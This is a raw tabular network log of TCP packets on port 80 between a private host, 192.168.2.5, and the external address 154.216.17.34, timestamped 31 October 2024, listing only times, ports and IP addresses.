Oct 31, 2024 02:09:14.218961000 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218971014 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.218971014 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.218974113 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218985081 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.218990088 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.218997002 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219021082 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.219048977 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.219250917 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219263077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219273090 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219283104 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219295025 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219305992 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.219306946 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219322920 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219333887 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219345093 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.219346046 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219357014 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219368935 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219391108 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219403028 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219415903 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219429016 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219429970 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.219429970 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.219429970 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.219439983 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219444036 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.219451904 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219461918 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.219464064 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219475031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219484091 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.219485044 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219499111 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219507933 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.219510078 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219522953 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219533920 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219540119 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.219544888 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219552994 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.219558954 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219569921 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219580889 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219595909 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.219621897 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.219629049 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219640017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219655037 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219666958 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219669104 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.219679117 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219690084 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219700098 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.219702959 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219715118 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219724894 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219727039 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.219738007 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219743013 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.219749928 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219762087 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219774008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.219774961 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.219810009 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.220122099 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.220134020 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.220144987 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.220158100 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.220169067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.220174074 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.220182896 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.220191956 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.220208883 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.220240116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.220276117 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.220288038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.220298052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.220309019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.220319986 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.220324039 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.220331907 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.220343113 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.220354080 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.220355034 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.220374107 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.220402002 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.220431089 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.220442057 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.220475912 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.220630884 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.220644951 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.220655918 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.220683098 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.220707893 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.221204042 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.221216917 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.221226931 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.221239090 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.221250057 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.221261024 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.221266985 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.221277952 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.221278906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.221297026 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.221301079 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.221307993 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.221318960 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.221328974 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.221332073 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.221344948 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.221357107 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.221357107 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.221369028 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.221375942 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.221404076 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.221427917 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.221963882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.221982002 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.221993923 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.222028971 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.222028971 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.222534895 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.222546101 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.222557068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.222588062 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.222599983 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.222600937 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.222611904 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.222624063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.222637892 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.222642899 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.222670078 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.222683907 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.222734928 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.222748041 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.222754002 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.222764969 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.222778082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.222789049 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.222794056 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.222800970 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.222812891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.222825050 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.222829103 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.222848892 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.222862005 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.222868919 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.222881079 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.222892046 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.222903967 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.222914934 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.222914934 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.222927094 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.222944975 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.222963095 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.223011017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.223022938 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.223036051 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.223057032 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.223053932 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.223073006 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.223083973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.223088980 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.223095894 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.223120928 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.223135948 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.223170042 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.223181963 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.223192930 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.223205090 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.223216057 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.223223925 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.223227978 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.223242998 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.223263979 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.223352909 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.223365068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.223375082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.223390102 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.223401070 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.223402023 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.223413944 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.223423004 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.223426104 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.223438025 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.223448038 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.223450899 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.223474979 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.223501921 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.223943949 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.223956108 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.223974943 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.223985910 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.223997116 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.223999977 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.224025011 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.224040031 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.224162102 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.224179983 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.224190950 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.224210024 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.224231005 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.224235058 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.224245071 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.224256039 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.224268913 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.224278927 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.224292040 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.224320889 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.224369049 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.224380016 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.224390984 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.224401951 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.224416971 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.224421024 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.224438906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.224451065 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.224451065 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.224458933 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.224462986 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.224476099 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.224486113 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.224489927 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.224498034 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.224519014 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.224538088 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.224546909 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.224556923 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.224569082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.224581003 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.224587917 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.224611998 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.224637985 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.225107908 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.225119114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.225130081 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.225162983 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.225176096 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.225184917 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.225188017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.225199938 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.225210905 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.225219965 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.225249052 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.225318909 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.225331068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.225342989 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.225356102 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.225368023 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.225372076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.225383997 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.225387096 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.225397110 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.225408077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.225413084 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.225420952 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.225441933 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.225460052 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.225464106 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.225475073 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.225486040 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.225497961 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.225508928 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.225521088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.225521088 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.225559950 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.225581884 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.226053953 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.226067066 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.226078987 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.226106882 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.226118088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.226130009 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.226130962 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.226142883 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.226155043 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.226159096 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.226166964 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.226177931 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.226196051 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.226218939 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.226402044 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.226413965 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.226424932 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.226457119 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.226464987 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.226475954 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.226479053 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.226486921 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.226500988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.226509094 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.226522923 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.226550102 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.226591110 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.226607084 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.226617098 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.226628065 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.226639986 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.226639986 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.226653099 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.226653099 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.226665974 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.226677895 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.226690054 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.226691008 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.226701975 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.226707935 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.226732016 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.226732969 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.226752043 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.226753950 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.226772070 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.226783991 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.226783991 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.226797104 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.226819038 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.226840019 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.227411985 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.227423906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.227435112 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.227447987 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.227468967 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.227488995 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.227576971 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.227587938 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.227600098 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.227611065 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.227624893 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.227631092 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.227636099 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.227648020 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.227649927 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.227660894 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.227669954 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.227673054 CET	80	49982	154.216.17.34	192.168.2.5
